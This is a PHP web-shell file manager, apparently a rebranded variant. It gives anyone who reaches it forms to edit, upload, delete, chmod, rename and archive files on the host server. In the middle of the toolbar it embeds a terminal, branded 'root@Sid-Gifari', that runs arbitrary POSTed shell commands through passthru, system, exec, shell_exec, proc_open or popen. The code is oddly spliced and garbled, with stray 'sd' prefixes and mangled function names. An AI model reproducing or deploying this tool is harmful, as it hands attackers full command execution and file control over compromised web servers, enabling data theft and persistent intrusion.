            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
